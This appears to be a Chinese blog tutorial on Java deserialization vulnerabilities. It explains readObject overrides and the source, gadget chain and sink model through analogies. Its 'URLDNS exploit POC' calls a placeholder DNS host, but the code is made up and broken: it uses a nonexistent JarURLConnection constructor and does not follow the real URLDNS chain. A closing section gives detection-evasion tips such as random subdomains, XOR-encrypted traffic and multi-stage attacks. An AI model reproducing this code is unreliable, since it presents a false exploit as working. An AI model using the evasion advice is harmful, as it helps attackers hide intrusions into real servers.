为什么会产生序列化的安全问题
1. 引子
序列化和反序列化过程中,有两个非常重要的方法,就是 writeObject 和 readObject。
这两个方法可以被开发者重写。
比如,MyList 这个类有一个 arr 数组属性,初始化长度是 100。如果在序列化的时候让 arr 属性也跟着序列化,那整个长度为 100 的数组都会被序列化,但实际可能只用了 30 个位置,这样就浪费了资源。所以,这时候就需要自定义序列化过程,也就是重写 writeObject 和 readObject 这两个方法。 只要服务端进行反序列化操作,客户端传递过来的类的 readObject 方法里的代码就会自动执行。具体的做法是重写以下两个 private 方法:
JAVA
private void writeObject(java.io.ObjectOutputStream s)throws java.io.IOException
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException
这就意味着,攻击者有可能利用这个特性,在服务器上运行恶意代码。
举个栗子。你有一个大箱子(MyList 类),里面有个超大的抽屉(arr 数组),这个抽屉一开始就被做成了能放 100 个东西的大小。但有时候你可能只放了 30 个东西进去。
如果直接把整个抽屉搬走(序列化),那里面空着的 70 个位置也占地方,纯浪费力气。
你可以教这个抽屉一些新技能: 搬家时(writeObject 方法): 抽屉学会只把自己里面有东西的那 30 个格子打包好,后面空的 70 个格子直接不管,这样搬起来轻便多了。 搬回来时(readObject 方法): 抽屉知道怎么把之前打包好的那 30 个东西重新放回自己的格子里,而不是傻傻地把整个空抽屉摆出来。
所以,从根本上来说。Java 反序列化漏洞的产生,和 readObject 方法有着直接的关系
2. 可能存在安全漏洞的形式
(1) 入口类的 readObject
直接调用危险方法 这种场景在实际开发中很少见。我们以一段弹计算器的代码为例,文件是 "Person.Java"。
先运行序列化程序 "SerializationTest.java",再运行反序列化程序 "UnserializeTest.java", 这时候就会弹出计算器,也就是 calc.exe,是不是帅的飞起哈哈。
这是黑客最希望看到的情况,但几乎不会出现。
(2) 入口参数中包含可控类,该类有危险方法,readObject
时调用。
(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject
时调用。
(4) 构造函数 / 静态代码块等类加载时隐式执行。
这里看不懂先不要紧,后续看到 URLDNS 利用链的复现就会悟了哈哈,我当时这里也看不懂,后面悟了。
3. 产生漏洞的攻击路线
首先的攻击前提:继承 Serializable
js
e.g. 恶意点餐的攻击路线
1.攻击者构造恶意点餐:
攻击者去餐厅点餐,故意模糊地说:"来个好吃的",其实他心里已经有了一个恶意的"菜谱"。
2.服务员记录点餐信息:
服务员(source类)按照餐厅的规则,记录下顾客的点餐信息(调用readObject方法)。
3.厨房按照恶意菜谱做菜:
厨房(调用链gadget chain)按照攻击者提供的"菜谱"开始做菜。这个菜谱其实是一个恶意的任务链,比如"先在菜里加点让顾客多付钱的调料,再把菜装盘"。
4.最终上菜,执行恶意操作:
服务员把做好的"菜"端给顾客,顾客吃下去后,攻击者的恶意代码被执行(sink,比如exec),导致顾客在付款时多付了钱。
4.URLDNS 利用链
js
e.g.导航仪的"恶意更新"
1. 攻击前提:继承 Serializable(相当于"导航仪支持软件更新")
想象你有一款车载导航仪,它支持通过 U 盘或网络更新软件(相当于类继承了Serializable接口,可以被序列化和反序列化)。
2. 入口类:source(重写 readObject,相当于"导航仪读取更新文件")
你把 U 盘插入导航仪,导航仪开始读取更新文件(source类的readObject方法被调用)。如果导航仪对更新文件的校验不严格,攻击者就可以利用这一点。
3. 调用链:gadget chain(相当于"更新文件中的安装步骤")
更新文件中包含一系列安装步骤,比如"先解压文件,再复制到指定目录,最后重启导航仪"。这些步骤是连锁的,每一步都依赖前一步的结果(调用链gadget chain)。
4. 执行类:sink(RCE、SSRF、写文件等,相当于"最终执行恶意操作")
如果攻击者在更新文件中植入了恶意步骤,比如"在重启前发送你的位置信息到指定服务器"(相当于执行类sink,比如exec),那么导航仪在执行更新时就会泄露你的位置信息。
二、URLDNS 反序列化利用链的 POC[概念验证代码]
以下是一个简单的 POC,展示了如何利用 URLDNS 利用链进行反序列化攻击:
java
import java.io.*;
import java.net.URL;
import java.util.jar.Attributes;
import java.util.jar.Manifest;
public class URLDNSExploit {
public static void main(String[] args) throws Exception {
// 目标 DNS 服务器地址
String dnsServer = "http://your.dns.server";
// 创建一个恶意的 URL 对象
URL url = new URL(dnsServer);
// 创建一个包含恶意 URL 的 Manifest 对象
Manifest manifest = new Manifest();
manifest.getMainAttributes().put(Attributes.Name.MANIFEST_VERSION, "1.0");
manifest.getMainAttributes().putValue("Sealed", "true");
manifest.getMainAttributes().putValue("Codebase", url.toString());
// 创建一个包含恶意 Manifest 的 JarURLConnection 对象
sun.net.www.protocol.jar.JarURLConnection connection = new sun.net.www.protocol.jar.JarURLConnection(url.openConnection(), manifest);
// 创建一个包含恶意 JarURLConnection 的 ObjectStreamField 数组
java.io.ObjectStreamField[] fields = new java.io.ObjectStreamField[1];
fields[0] = new java.io.ObjectStreamField("manifest", Manifest.class);
// 创建一个恶意的序列化对象
Serializable serializable = new Serializable() {
private static final long serialVersionUID = 1L;
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
connection.getJarFile(); // 触发 DNS 请求
}
};
// 序列化恶意对象
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(serializable);
oos.close();
// 反序列化恶意对象
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject(); // 触发漏洞利用
ois.close();
}
}
三、其他利用方式
1. 动态 DNS 请求生成
在实际攻击中,可以结合动态生成的 DNS 请求来绕过某些安全检测。例如,通过编程方式生成随机的子域名,使每次请求的 DNS 记录都不同,增加检测的难度。
java
// 动态生成随机子域名
String randomSubdomain = java.util.UUID.randomUUID().toString();
String dnsServer = "http://" + randomSubdomain + ".your.dns.server";
2. 结合其他漏洞利用
可以将 URLDNS 利用链与其他漏洞(如 SSRF、RCE 等)结合起来,实现更复杂的攻击场景。例如,通过 URLDNS 触发内部网络的 SSRF 请求,进一步探测内部服务。
3. 加密通信
为了躲避网络流量分析,可以对恶意请求进行加密。例如,使用简单的 XOR 加密算法对 DNS 请求内容进行加密,使流量看起来像是正常的加密通信。
java
// 对 DNS 请求内容进行加密
String encryptedDNS = xorEncrypt(dnsServer);
4. 多阶段攻击
设计一个多阶段的攻击流程,首先通过 URLDNS 触发一个小型的恶意操作(如信息收集),然后根据反馈结果决定是否进行更深入的攻击。